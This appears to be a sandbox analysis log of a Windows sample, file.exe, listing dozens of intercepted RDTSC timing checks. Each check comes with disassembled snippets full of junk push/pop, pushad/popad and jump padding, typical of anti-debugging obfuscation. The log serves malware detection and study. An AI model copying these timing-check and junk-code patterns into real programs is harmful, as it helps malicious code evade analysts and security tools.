Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4647 second address: DB465B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Ah 0x00000007 jp 00007F5DA5418056h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4908 second address: DB494A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4F03EA8h 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F5DA4F03E9Eh 0x00000010 jmp 00007F5DA4F03EA2h 0x00000015 pop eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8EA6 second address: DB8EAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8EAC second address: DB8EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8EB2 second address: DB8EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB89F9 second address: DB89FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB89FF second address: DB8A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC1D4 second address: DCC1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCBFD7 second address: DCBFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCBFDD second address: DCC015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4F03EA5h 0x00000009 jns 00007F5DA4F03E96h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5DA4F03EA4h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC015 second address: DCC019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC019 second address: DCC023 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5DA4F03E96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC023 second address: DCC029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8F11 second address: DD8F3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA1h 0x00000007 jmp 00007F5DA4F03EA4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8B32 second address: DD8B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jp 00007F5DA541805Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8B4D second address: DD8B72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F5DA4F03E9Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5DA4F03EA0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF7C1 second address: DEF7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF7C5 second address: DEF7CF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5DA4F03E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF7CF second address: DEF7D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF7D5 second address: DEF7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5DA4F03E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF7DF second address: DEF7E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3FCD second address: DF4001 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5DA4F03E96h 0x00000008 jmp 00007F5DA4F03E9Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 jno 00007F5DA4F03EB4h 0x00000016 jne 00007F5DA4F03E9Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4001 second address: DF4005 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2E80 second address: DF2EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5DA4F03E96h 0x0000000a jmp 00007F5DA4F03EA2h 0x0000000f popad 0x00000010 jng 00007F5DA4F03E9Ah 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2FE2 second address: DF2FEF instructions: 0x00000000 rdtsc 0x00000002 je 00007F5DA5418056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3283 second address: DF3287 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3287 second address: DF32AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5DA5418056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5DA5418068h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF32AF second address: DF32B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF36D9 second address: DF36DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3B1F second address: DF3B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F5DA4F03EB1h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F5DA4F03EA9h 0x00000012 popad 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007F5DA4F03E96h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3B4F second address: DF3B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3CBC second address: DF3CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3CC0 second address: DF3CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7FBB second address: DF7FC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF82AB second address: DF82AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF82AF second address: DF82BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push edi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF83DB second address: DF83E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF85FA second address: DF8618 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5DA4F03EA4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFAE01 second address: DFAE1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5DA5418068h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80FBB second address: 4E80FCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 mov edx, 6C76C446h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov bh, 34h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70CF8 second address: 4E70D0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D0A second address: 4E70D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D10 second address: 4E70D7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F5DA5418063h 0x00000015 sub cx, 9BBEh 0x0000001a jmp 00007F5DA5418069h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F5DA5418060h 0x00000026 sub esi, 5C1CB4B8h 0x0000002c jmp 00007F5DA541805Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D7E second address: 4E70D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D84 second address: 4E70D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D97 second address: 4E70DD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5DA4F03E9Dh 0x00000013 add cl, FFFFFFB6h 0x00000016 jmp 00007F5DA4F03EA1h 0x0000001b popfd 0x0000001c mov dl, ah 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70DD5 second address: 4E70DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70DDB second address: 4E70DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70DDF second address: 4E70DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0451 second address: 4EC0456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0456 second address: 4EC045C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC045C second address: 4EC0460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0460 second address: 4EC0464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0464 second address: 4EC0480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5DA4F03EA1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0480 second address: 4EC04D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d jmp 00007F5DA541805Ch 0x00000012 pushfd 0x00000013 jmp 00007F5DA5418062h 0x00000018 jmp 00007F5DA5418065h 0x0000001d popfd 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E500F0 second address: 4E5012B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 jmp 00007F5DA4F03E9Bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ebx, ecx 0x00000014 pushfd 0x00000015 jmp 00007F5DA4F03E9Eh 0x0000001a sbb cx, 4C68h 0x0000001f jmp 00007F5DA4F03E9Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5012B second address: 4E501A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F5DA5418065h 0x0000000b sbb esi, 57800686h 0x00000011 jmp 00007F5DA5418061h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F5DA541805Ch 0x00000022 or cx, A128h 0x00000027 jmp 00007F5DA541805Bh 0x0000002c popfd 0x0000002d push eax 0x0000002e push edx 0x0000002f pushfd 0x00000030 jmp 00007F5DA5418066h 0x00000035 adc cl, FFFFFF88h 0x00000038 jmp 00007F5DA541805Bh 0x0000003d popfd 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E501A9 second address: 4E501C7 instructions: 0x00000000 rdtsc 0x00000002 mov si, 5FFFh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5DA4F03EA1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E501C7 second address: 4E501D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA541805Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E501D7 second address: 4E501EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5DA4F03E9Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E501EE second address: 4E501F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E501F4 second address: 4E501F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E501F8 second address: 4E501FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E501FC second address: 4E5022C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b jmp 00007F5DA4F03EA9h 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edx, cx 0x00000019 mov ebx, esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50265 second address: 4E5026B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5026B second address: 4E5029B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop edi 0x0000000e pushfd 0x0000000f jmp 00007F5DA4F03E9Eh 0x00000014 xor esi, 353271C8h 0x0000001a jmp 00007F5DA4F03E9Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5029B second address: 4E502B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA5418064h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B01 second address: 4E70B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B07 second address: 4E70B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B0B second address: 4E70B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7067D second address: 4E7071B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F5DA5418067h 0x0000000b or ax, E68Eh 0x00000010 jmp 00007F5DA5418069h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F5DA541805Ch 0x0000001f adc al, 00000008h 0x00000022 jmp 00007F5DA541805Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c push eax 0x0000002d pushfd 0x0000002e jmp 00007F5DA5418067h 0x00000033 sbb ecx, 53F429FEh 0x00000039 jmp 00007F5DA5418069h 0x0000003e popfd 0x0000003f pop esi 0x00000040 push eax 0x00000041 push edx 0x00000042 mov ax, di 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7071B second address: 4E7071F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7071F second address: 4E7073C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5DA5418061h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7073C second address: 4E70740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70740 second address: 4E70746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70746 second address: 4E7074C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E705BF second address: 4E705F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 call 00007F5DA5418068h 0x0000000e push esi 0x0000000f pop ebx 0x00000010 pop ecx 0x00000011 push edx 0x00000012 mov cx, F999h 0x00000016 pop esi 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F5DA541805Bh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E705F8 second address: 4E705FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80131 second address: 4E80135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80135 second address: 4E8013B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8013B second address: 4E80161 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 mov ecx, 3EA27555h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007F5DA5418060h 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80161 second address: 4E80173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, bx 0x00000007 popad 0x00000008 mov bx, 86CAh 0x0000000c popad 0x0000000d pop ebp 0x0000000e pushad 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0355 second address: 4EC035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC035C second address: 4EC03C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5DA4F03EA0h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F5DA4F03E9Dh 0x00000017 add si, 9926h 0x0000001c jmp 00007F5DA4F03EA1h 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 jmp 00007F5DA4F03E9Eh 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03C2 second address: 4EC03C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03C6 second address: 4EC03CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03CA second address: 4EC03D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03D0 second address: 4EC03F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5DA4F03E9Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902AB second address: 4E902EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax], 00000000h 0x0000000c jmp 00007F5DA5418060h 0x00000011 and dword ptr [eax+04h], 00000000h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a call 00007F5DA5418063h 0x0000001f pop esi 0x00000020 popad 0x00000021 rdtsc
